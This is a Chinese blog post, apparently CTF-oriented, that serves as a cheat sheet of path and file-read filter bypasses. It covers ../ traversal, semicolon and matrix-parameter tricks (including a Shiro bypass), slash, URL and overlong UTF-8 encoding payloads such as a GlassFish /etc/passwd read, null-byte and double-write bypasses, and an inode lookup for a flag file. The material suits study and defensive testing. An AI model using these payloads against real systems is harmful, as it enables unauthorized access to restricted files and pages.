文件读取绕过

例如,要读取http://xxxx/flag.html,但是有限制

(1)目录遍历(../绕过)

注:浏览器也会自动解析../,比如说输入login/../admin,浏览器自己解析了,导致传到服务器就变成了/admin,原来的payload起不到作用,所以不要直接在url输入

原理:Filter未对URI进行标准化处理。攻击者构造../返回上级目录,使URI匹配白名单路径。

payload:

/system/login/../../admin/main.do

Filter认为路径以/system/login开头,放行。

实际解析后路径为admin/main.do,绕过权限校验。

(2)分号截断(;绕过)

1/admin/main.do;123
Filter检查url不是以 `.do` 结尾放行分号后的123作为无效参数不会对原地址有任何影响绕过权限校验
2/;flag.html

3http://target.com/path/to/page;param=evil.js
某些服务器如IIS旧版Apache将分号;视为查询参数的分隔符等同于&服务器将;param=evil.js解析为参数忽略它并返回/path/to/page的内容可能是HTML页面))

4shiro权限绕过
访问 /admin/page会被重定向到登录页面但通过构造特殊的 URL例如 /;/admin/page可以绕过 Shiro 的权限验证

/xxx;/../admin/page

(3)多斜杠绕过(//)

原理:多加⼀个 / 并不影响正常解析,而又能让该规则匹配不到,成功绕过。
示例:
payload//system//UserInfoSearch.do
服务器解析为/system/UserInfoSearch.do,但Filter未匹配到原始路径

/./system/./system

(4)编码绕过:

【1】URL编码

.编码为%2e
/编码为%2f
../ URL编码为 %2e%2e%2f

双重URL编码../ 的双重URL编码为 %252e%252e%252f
(1)http://xxx/..%2fflag.htmlURL 编码斜杠)

(2)http://xxx/%2e%2e%2fflag.html(完全编码 ../(3)http://xxx/..%255cflag.html(双重编码)

(4)原理:Filter未解码URI直接校验,服务器解码后访问目标路径。
/system/%55%73%65%72%49%6e%66%6f%53%65%61%72%63%68%2e%64%6f(解码后为/system/UserInfoSearch.doFilter因未解码无法识别真实路径,放行请求(完全编码)

【2】UTF-8编码:

glassfish文件读取:

java语言中会把%c0%ae解析为\uC0AE,最后转义为ASCCII字符的.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果

0xC0 0xAE是字符 .的一种过长的UTF-8编码形式0xC0表示接下来的一个字节0xAE是有效载荷)。根据UTF-8规范这属于非最短形式”,本应是无效的但某些老旧或不规范的解码器会接受它

%c0%ae 表示 .
%c0%ae%c0%ae = ..

http://xxx.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

【3】空字节绕过

/1.js/..%00/flag.php

(5)双写绕过

// 不安全的过滤代码
String filename = request.getParameter("filename");
// 只替换一次,攻击者可使用 ....//
filename = filename.replace("../", "");
也可以..././ 

(6)java应用常见的路径绕过处理问题,即访问任意静态文件可绕过鉴权

Java/Spring/Tomcat 等后端框架:将 ; 及其后面的内容视为 矩阵参数(Matrix Parameter) ,在路径规范化时会剥离分号部分,即/1.js/..;/flag.html被规范为/1.js/../flag.html,从而被识别为flag.html

比如/1.js/..;/flag.html

或者/js/..;/flag.html
又/flag.html;js
/flag.html;login(原来访问/login.html成功)

(7)Spring MVC追加斜杠

原理:Spring MVC自动去除尾部/,但Filter未处理导致绕过。

示例:payload:

/admin/main.do/

Spring 匹配/admin/main.do,Filter检查时末尾含斜杠,不符合规则实现绕过

(8)inode号绕过

inode是Linux文件系统核心概念,用于存储文件元信息,每个文件都有一个唯一的inode号,操作系统通过inode号识别文件,而不是文件名

ls -i 文件名  查看特定文件的inode号
ls -i /  获得根目录下所有文件的inode号
例flag在/下,用 ls -i / 查看其inode号,得到flag的inode号为78751,
可以用 find / -inum 78751 2>/dev/null获取该文件的路径(flag)
用 cat `find / -inum 78751 2>/dev/null`获取flag

image-20260512230951397

(9)

posted @ 2026-06-18 13:06  Doll_Marker  阅读(17)  评论(0)    收藏  举报